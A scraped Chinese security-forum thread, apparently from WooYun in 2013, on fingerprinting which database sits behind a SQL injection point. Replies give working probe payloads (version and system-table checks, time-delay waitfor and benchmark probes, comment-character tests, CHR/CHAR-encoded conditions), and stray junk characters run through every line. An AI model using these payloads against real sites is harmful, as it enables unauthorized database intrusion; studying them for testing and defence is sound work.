一个注射点如何最快速确认是什么类型数据库2 S" L4 e& a% [4 U! S
xsser (十根阳具有长短!!) | 2013-02-05 12:364 e% @' F( S9 F1 n9 n8 _) h' N
假设这么一个注射点:. x3 f6 U( L& {& M9 Q/ j
show.html?id=22 p0 K) w' p2 ~, `1 _, q0 B
mysql:id=2 and version()>04 m8 ^0 v* G2 [- P* Y Z# @
oracle:id=2 and '1'||'1'='11
/ N' B* _/ E4 j; _其他的欢迎补充
! l/ s8 L! z! N# s1## N, F( }5 z1 s; ]
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:470 ]- }. ?9 M: j, {0 O3 T! q, x
Access:
/ j: G } x/ b" gaNd aSc(cHr(97))=97/ W, A. u% c3 h1 O
and exists(select id from MSysAccessObjects)! O V5 }! k) g: K5 T
SQL Server:
; Y' N, K0 s/ v: |2 {and exists(select id from sysobjects)
* ?6 v" w) x# a; k2 B' Eand length(user)>0
6 A/ \3 T& m2 p8 D" k0 d" g" n: qMySQL:
% y+ p" q" N+ kand length(user())>0' e/ t6 R6 W) @2 T) {6 }
2#
4 M5 b2 s6 v0 w% F' _4 \+ gxsser (十根阳具有长短!!) | 2013-02-05 12:48
% e8 P, q' r. S8 r( p! ~. e; i9 X+ _- q: }@upload 如果这些都不是呢…: m8 Y2 K+ Q, l' E5 Z. h
3#! I) k9 ~/ N6 u$ T# g I! L" `
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03- T/ m) Y; ^, q1 n# m
@xsser 不快速的,延时注入
# Y- \: B- O7 L* ~不知道这样写对不对/ ]; z8 }; l- k$ ?$ E+ d
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'5 O, C/ D( a1 j N3 l1 b9 O
mysql:id=2 and select benchmark(1e8,current_date());/ [! A- u3 E6 @. \, e
4#, |' V! z/ s4 G \( X
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
6 x7 r% E" U4 G3 I5 X2 ~: Q4 ~最快的貌似是看报错信息
- p4 V( {: V* f5 E9 Q- Poracle error
; h, F' m, h) Z1 j4 ]/ @mssql error% _1 D$ U% Z& y9 H& j: T4 \
mysql error0 Z5 V, G( }+ g7 N* Y
5#
# S: x( A/ U; `Nimda (你们都是坏银~) | 2013-02-05 13:14
" c+ o# V& z; i* y# w9 r* _( t" C小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
( O G4 J& F4 u% n2 o4 Z/ [6#+ o; a/ O9 P% |& N9 w2 q# H: U: b
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21! k O) V! W( J3 n. A/ s
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:2 u6 j5 U9 J% I. I/ w5 G& q6 k. @
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
: h! {3 d4 J: P! y' D! `* P5 w“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。& F2 c- m" [% a' w
7#
0 [2 ?; y A O- E$ }_Evil (HackEnd) | 2013-02-05 13:33
7 d- w/ S9 u' pPostgreSQL
3 ~: Q- U! o# Z0 u8#
( X$ c$ _& ^0 M ^$ eupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42- ?$ J" w# `" s* } n5 Q! R
切换编码 and 1=1
$ v: `, r( G1 y1 h. ?$ xoracle:) G' |! v" v8 l2 b) P; f+ N
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
: s9 }5 Y& o% X6 O" H" Emssql:
1 K% _: d2 ~/ U! a4 q M2 p$ iCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
' R. Z1 v. z. N4 Hmysql:
& g% _- g5 a5 b$ n0 OCHAR(97, 110, 100, 32, 49, 61, 49)( A2 m# t3 _# l
9#& K ]1 {* i/ N2 k% W4 z& n$ r
xsser (十根阳具有长短!!) | 2013-02-05 14:31; L F- ?. l% a1 R. j# [: c! x2 E
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
* M, ]4 Z# Y' I1 w$ U10#
- y' t/ t9 n# q. pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
9 t- U7 h7 f' |4 l0 S- k# n@xsser 是奇葩数据库类型的么?
5 u) e1 D. U; z7 t8 ]6 y, d根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:; O7 x$ J0 ~+ r- a! I' `- a
1.是否可以使用特定的函数来判断,该数据库特有的
8 ^1 k. F. ^9 X! w2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
# H8 x. W' j- X" f3 B5 S# b) r3.是否可以编码查询
+ j! _8 h8 K% S, G4 [! Q4.是否显可以利用错信息( [% ]% C1 G9 `- \9 M5 a3 ^
5.是否存在数据库某些特性辅助判断
7 A8 Q, d# l0 T- U3 T+ U# A; J; h3 ?个人见解" Z( ^& Z8 Y0 Z4 A0 x
11#
, i6 P% b' u4 k/ ]5 B' m7 g小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
. k: S; X2 G# m' O; |已收藏,mssql可以直接看到错误提示的吧~/ k9 S7 k9 x) A' i, V* D* q
12#1 N1 E0 |9 w6 F6 v9 F4 c
Passer_by | 2013-02-05 15:09
n' ]4 P& z. D. y曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
8 F( h+ I; \! h; {' X( R2 ~/ {from:http://zone.wooyun.org/content/260 |